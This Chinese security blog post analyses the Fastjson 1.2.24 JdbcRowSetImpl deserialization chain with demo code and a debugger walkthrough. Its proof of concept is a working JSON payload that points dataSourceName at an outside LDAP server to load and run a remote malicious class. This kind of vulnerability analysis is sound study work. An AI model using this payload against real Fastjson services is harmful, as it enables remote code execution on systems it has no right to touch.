boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

二审Fastjson_1.2.24_JdbcRowSetImpl反序列化链子


avatar
RootReapers 2026年4月20日 131

再审一遍Fastjson的第一条链子(JDBC的)

之前可能漏了一点细节


Fastjson,阿里巴巴的一个库,用于处理json和java对象之间的解析转换


常用序列化方法有

JSON.toJSONString:返回JSON字符串

JSON.toJSONBytes()返回byte数组


常用反序列化方法

parseObject()返回JsonObject类型的对象

parse()返回Object

parseArray()返回JsonArray类型的对象

JSON.toJavaObject()将JSON对象转换为java对象

JSON.writeJSONString()将JSON对象写入write流


各方法特性:

1.JSON.toJSONString

在JSON.toJSONString中

如果只传一个参数(要转换为json的java对象,比如下面的u1)

package demo;

import com.alibaba.fastjson.JSON;
import com.sun.xml.internal.ws.api.model.wsdl.WSDLOutput;

public class demo {
    public static void main(String[] args) {
        User u1=new User(18,01,"guest");
        String json1 = JSON.toJSONString(u1);
        System.out.println(json1);
    }
}

则输出如下所示:

{“age”:18,“id”:1,“name”:“guest”}


如果传入第二个参数SerializerFeature.WriteClassName

在转换为json后,会把java对象的类型也写入

输出如下,多了一个type字段

{“@type”:“demo.User”,“age”:18,“id”:1,“name”:“guest”}


并且,JSON.toJSONString在调用过程中,一定会执行对象的get方法


2.JSON.parseObject

toJSONString是将java对象转换为json字符串

属于序列化操作


而parseObject是将json字符串转换为jsonObject对象

JSONObject jsonObject = JSON.parseObject(json2);
System.out.println(jsonObject);

parseObject在执行时分为两种情况

传入的json字符串是否带@type字段(序列化时有没有第二个参数SerializerFeature.WriteClassName)


带@type字段:

调用原对象的无参构造和get,set方法


不带@type字段:

不调用构造方法和get/set



3.JSON.parse

也是一个反序列化方法

和parseObject不同的是:parse将json解析为Object这个类型的对象

也就是所有对象的父类(任何类型的对象都继承它)


它的执行也分为两种情况

传入的json字符串是否带@type字段


带@type字段:

调用原对象的无参构造和set方法


不带@type字段:

不调用构造方法和get/set


完整的示例代码

User.java

package demo;

public class User {
    int age;
    String name;
    int id;

    public User() {
        System.out.println("无参构造调用");
    }

    public User(int age, int id, String name) {
        this.age = age;
        this.id = id;
        this.name = name;
        System.out.println("全参构造调用");
    }

    public int getAge() {
        System.out.println("getAge调用");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge调用");
        this.age = age;
    }

    public int getId() {
        System.out.println("getId调用");
        return id;
    }

    public void setId(int id) {
        System.out.println("setId调用");
        this.id = id;
    }
    

    public String getName() {
        System.out.println("getName调用");
        return name;
    }

    public void setName(String name) {
        this.name = name;
        System.out.println("setName调用");
    }
}

demo.java

package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class demo {
    public static void main(String[] args) {
        User u1=new User(18,01,"guest");
        String json1 = JSON.toJSONString(u1);
        System.out.println(json1);
        System.out.println("================================================");
        String json2 = JSON.toJSONString(u1, SerializerFeature.WriteClassName);
        System.out.println(json2);
        System.out.println("================================================");
        JSONObject jsonObject = JSON.parseObject(json1);
        System.out.println(jsonObject);
        System.out.println("================================================");
        Object obj = JSON.parse(json1);
        System.out.println(obj);
        System.out.println("================================================");
        Object obj2 = JSON.parse(json2);
        System.out.println(obj2);


    }


}

了解完了用法

开始审链子

从poc倒推

package demo;

import com.alibaba.fastjson.JSON;

public class FastJSON_rce {
    public static void main(String[] args) throws ClassNotFoundException {

        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://10.107.200.43:1389/qrdr2m\"," +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }

}

rmi和ldap是啥就不细说了,之前第一次审的时候有写jndi(rmi和ldap),就是一个远程加载类的服务

在服务端放一个class文件(.java的编译产物)

然后给出url,客户端即可通过invoke方法调用服务端的类


这里服务端放的是一个恶意类,被调用就直接弹计算器(验证rce)


我电脑重装了,只装了高版本jdk

rmi打不通,换了ldap,通了,弹计算器


为什么parse解析这段json就会触发calc呢?为什么type是com.sun.rowset.JdbcRowSetImpl呢?

开始分析


首先定位com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName,找它的get和set方法

package demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class FastJSON_rce {
    public static void main(String[] args) throws ClassNotFoundException {

        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://10.107.200.43:1389/qrdr2m\"," +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }

}

直接在poc里面import这个类,然后按住ctrl,单击鼠标左键即可进入类内部

ctrl+f搜dataSourcename和AutoCommit的set

找到setDataSourcename

    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

首先是判断当前dataSource是否为空

如果为空则赋值

在函数起始处打断点,看的更仔细一些

setDataSourceName的第一层if调用了getDataSourceName

注意,此时还没赋值

DataSourceName为空


不满足第一层if,进入else分支,直接调用setDataSourceName

给DataSourceName赋值,值为var1,也就是我们传入的url地址



再找setAutoCommit,同样,在起始处断点

完整debug一次

第一次停在setDataSourceName

把var1的值(jndi的地址)作为参数传递给setDataSourceName

步入setDataSourceName可以看到

前两个分支判断是否为空,不为空,直接将name(jndi地址)赋值给dataSource


然后一直步过,大概65下,来到第二个断点setAutoCommit

在json字符串中,autoCommit对应的值是true,conn为null

直接进入else分支

触发了一个connect方法,然后调用自身,把AutoCommit的值设置为true

先步入connect,看看内部


首先判断conn是否为空(当前是空的)

直接来到else if分支

对dataSourceName进行判断

这个在之前的执行已经有值了,是jndi的地址

到这里,lookup方法触发jndi请求

调用执行远程的恶意类

达到攻击成功的目的


函数调用栈

JSON.parseObject(String)
    └── JavaBeanDeserializer.deserialze(...)
        └── DefaultFieldDeserializer.parseField(...)
            └── FieldDeserializer.setValue(Object, Object)
                └── JdbcRowSetImpl.setAutoCommit(boolean)
                    └── JdbcRowSetImpl.connect()
                        └── InitialContext.lookup(getDataSourceName())
                            └── (远程类加载执行恶意代码)




评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码